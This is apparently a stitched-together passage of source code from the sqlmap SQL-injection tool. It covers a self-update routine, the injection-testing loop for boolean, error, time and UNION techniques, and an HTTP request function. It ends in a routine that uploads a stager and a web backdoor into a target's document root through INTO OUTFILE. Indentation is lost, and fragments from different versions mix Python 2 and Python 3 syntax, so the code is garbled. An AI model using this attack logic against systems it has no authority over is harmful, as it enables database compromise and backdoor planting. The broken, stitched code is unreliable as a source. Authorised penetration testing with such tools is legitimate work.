retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
if retVal:
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
return retVal
def update():
if not conf.updateAll:
return
success = False
if TYPE == "pip":
infoMsg = "updating sqlmap to the latest stable version from the "
infoMsg += "PyPI repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'pip' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = ""
try:
process = subprocess.Popen("pip install -U sqlmap",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True)
output, _ = process.communicate()
success = not process.returncode
except Exception as ex:
success = False
output = getSafeExString(ex)
finally:
output = getText(output)
if success:
logger.info(
"%s the latest revision '%s'" %
("already at"
if "already up-to-date" in output else "updated to",
extractRegexResult(
r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output)
or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)",
output)))
else:
logger.error("update could not be completed ('%s')" %
re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" %
getRevisionNumber())
return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try:
open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception as ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (
directory, getSafeExString(ex))
logger.error(errMsg)
else:
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg)
else:
try:
archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"\Asqlmap[^/]+", "",
info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib",
"core", "settings.py")
if os.path.isfile(filepath):
with openFile(filepath, "rb") as f:
version = re.search(
r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)",
f.read()).group(1)
logger.info(
"updated to the latest version '%s#dev'" %
version)
success = True
except Exception as ex:
logger.error("update could not be completed ('%s')" %
getSafeExString(ex))
else:
if not success:
logger.error("update could not be completed")
else:
try:
os.chmod(os.path.join(directory, "sqlmap.py"),
attrs)
except OSError:
logger.warning(
"could not set the file attributes of '%s'"
% os.path.join(directory, "sqlmap.py"))
else:
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'git' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = ""
try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" %
GIT_REPOSITORY,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True)
output, _ = process.communicate()
success = not process.returncode
except Exception as ex:
success = False
output = getSafeExString(ex)
finally:
output = getText(output)
if success:
logger.info("%s the latest revision '%s'" %
("already at" if "Already" in output else "updated to",
getRevisionNumber()))
else:
if "Not a git repository" in output:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" %
re.sub(r"\W+", " ", output).strip())
if not success:
if IS_WIN:
infoMsg = "for Windows platform it's recommended "
infoMsg += "to use a GitHub for Windows client for updating "
infoMsg += "purposes (https://desktop.github.com/) or just "
infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else:
infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')"
logger.info(infoMsg)
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' <payload><comment> '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on
# the False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
if trueResult:
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
# Perform the test's False request
if not falseResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage else None for _ in (trueSet - falseSet)))
if candidates:
conf.string = random.sample(candidates, 1)[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
injectable = True
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's <grep> regular expression
try:
page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
except sqlmapConnectionException, msg:
debugMsg = "problem occured most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
singleTimeWarnMessage(warnMsg)
if unionExtended:
infoMsg = "automatically extending ranges "
infoMsg += "for UNION query injection technique tests as "
infoMsg += "there is at least one other potential "
infoMsg += "injection technique found"
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, basestring):
infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, "details"):
for dKey, dValue in test.details.items():
if dKey == "dbms":
injection.dbms = dValue
if not isinstance(dValue, list):
Backend.setDbms(dValue)
else:
Backend.forceDbms(dValue[0], True)
elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(dValue)
elif dKey == "os" and injection.os is None:
injection.os = Backend.setOs(dValue)
if vector is None and "vector" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if conf.beep:
beep()
# There is no need to perform this test for other
# <where> tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
def getPage(**kwargs):
"""
This method connects to the target url or proxy and returns
the target url page content
"""
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
threadData = getCurrentThreadData()
threadData.lastRequestUID += 1
url = kwargs.get('url', conf.url)
get = kwargs.get('get', None)
post = kwargs.get('post', None)
method = kwargs.get('method', None)
cookie = kwargs.get('cookie', None)
ua = kwargs.get('ua', None)
referer = kwargs.get('referer', None)
host = kwargs.get('host', conf.host)
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
raise404 = kwargs.get('raise404', True)
auxHeaders = kwargs.get('auxHeaders', None)
response = kwargs.get('response', False)
ignoreTimeout = kwargs.get('ignoreTimeout', kb.ignoreTimeout)
refreshing = kwargs.get('refreshing', False)
retrying = kwargs.get('retrying', False)
crawling = kwargs.get('crawling', False)
if not urlparse.urlsplit(url).netloc:
url = urlparse.urljoin(conf.url, url)
# flag to know if we are dealing with the same target host
target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""]))
if not retrying:
# Reset the number of connection retries
threadData.retriesCount = 0
# fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20")
code = None
page = None
requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post else HTTPMETHOD.GET))
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
responseMsg = u"HTTP response "
requestHeaders = u""
responseHeaders = None
logHeaders = u""
skipLogTraffic = False
raise404 = raise404 and not kb.ignoreNotFound
# support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url)
# fix for known issues when using url in unicode format
# (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case)
url = unicodeencode(url)
try:
if silent:
socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT)
else:
socket.setdefaulttimeout(conf.timeout)
if direct:
if "?" in url:
url, params = url.split("?")
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect.__connReadProxy(conn)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
return page
elif any ([refreshing, crawling]):
pass
elif target:
if conf.parameters.has_key(PLACE.GET) and not get:
get = conf.parameters[PLACE.GET]
if get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if conf.method == HTTPMETHOD.POST and not post:
for place in (PLACE.POST, PLACE.SOAP):
if conf.parameters.has_key(place):
post = conf.parameters[place]
break
elif get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({ HTTPHEADER.COOKIE: cookie, HTTPHEADER.USER_AGENT: ua, HTTPHEADER.REFERER: referer })
if conf.realTest:
headers[HTTPHEADER.REFERER] = "%s://%s" % (conf.scheme, conf.hostname)
if kb.authHeader:
headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
headers[HTTPHEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
headers[HTTPHEADER.HOST] = host or getHostHeader(url)
if auxHeaders:
for key, item in auxHeaders.items():
headers[key] = item
for key, item in headers.items():
del headers[key]
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
post = unicodeencode(post, kb.pageEncoding)
if method:
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
if not req.has_header(HTTPHEADER.ACCEPT_ENCODING):
requestHeaders += "%s: identity\n" % HTTPHEADER.ACCEPT_ENCODING
requestHeaders += "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in req.header_items())
if not req.has_header(HTTPHEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
if not req.has_header(HTTPHEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION
requestMsg += "\n%s" % requestHeaders
if post:
requestMsg += "\n\n%s" % getUnicode(post)
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
conn = urllib2.urlopen(req)
if not kb.authHeader and req.has_header(HTTPHEADER.AUTHORIZATION):
kb.authHeader = req.get_header(HTTPHEADER.AUTHORIZATION)
if not kb.proxyAuthHeader and req.has_header(HTTPHEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = req.get_header(HTTPHEADER.PROXY_AUTHORIZATION)
# Return response object
if response:
return conn, None, None
# Get HTTP response
if hasattr(conn, 'redurl'):
page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect.__connReadProxy(conn)
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect.__connReadProxy(conn)
code = code or conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
status = getUnicode(conn.msg)
if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) and not refreshing:
url = extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE)
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
choice = readInput(msg, default="Y")
kb.alwaysRefresh = choice not in ("n", "N")
if kb.alwaysRefresh:
if url.lower().startswith('http://'):
kwargs['url'] = url
else:
kwargs['url'] = conf.url[:conf.url.rfind('/')+1] + url
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
kwargs['refreshing'] = True
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect.__getPageProxy(**kwargs)
except sqlmapSyntaxException:
pass
# Explicit closing of connection object
if not conf.keepAlive:
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception, msg:
warnMsg = "problem occured during connection closing ('%s')" % msg
logger.warn(warnMsg)
except urllib2.HTTPError, e:
page = None
responseHeaders = None
try:
page = e.read()
responseHeaders = e.info()
responseHeaders[URI_HTTP_HEADER] = e.geturl()
page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % e.code
logger.warn(warnMsg)
return None, None, None
except KeyboardInterrupt:
raise
except:
pass
finally:
page = page if isinstance(page, unicode) else getUnicode(page)
code = e.code
threadData.lastHTTPError = (threadData.lastRequestUID, code)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
status = getUnicode(e.msg)
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items())
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page))
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\n\n%s\n" % (logHeaders, page)
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if e.code == httplib.UNAUTHORIZED:
errMsg = "not authorized, try to provide right HTTP "
errMsg += "authentication type and valid credentials (%d)" % code
raise sqlmapConnectionException, errMsg
elif e.code == httplib.NOT_FOUND:
if raise404:
errMsg = "page not found (%d)" % code
raise sqlmapConnectionException, errMsg
else:
debugMsg = "page not found (%d)" % code
logger.debug(debugMsg)
processResponse(page, responseHeaders)
elif e.code == httplib.GATEWAY_TIMEOUT:
if ignoreTimeout:
return None, None, None
else:
warnMsg = "unable to connect to the target url (%d - %s)" % (e.code, httplib.responses[e.code])
if threadData.retriesCount < conf.retries and not kb.threadException and not conf.realTest:
warnMsg += ", sqlmap is going to retry the request"
logger.critical(warnMsg)
return Connect.__retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return None, None, None
else:
raise sqlmapConnectionException, warnMsg
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = arrayizeValue(getDocRoot())
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in kb.docRoot:
if success:
break
for directory in directories:
uriPath = ""
if not all(
isinstance(_, basestring)
for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace(
"//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
"//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(
directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(
r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(
normalizePath("%s/%s" % (localPath, stagerName))).replace(
"//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
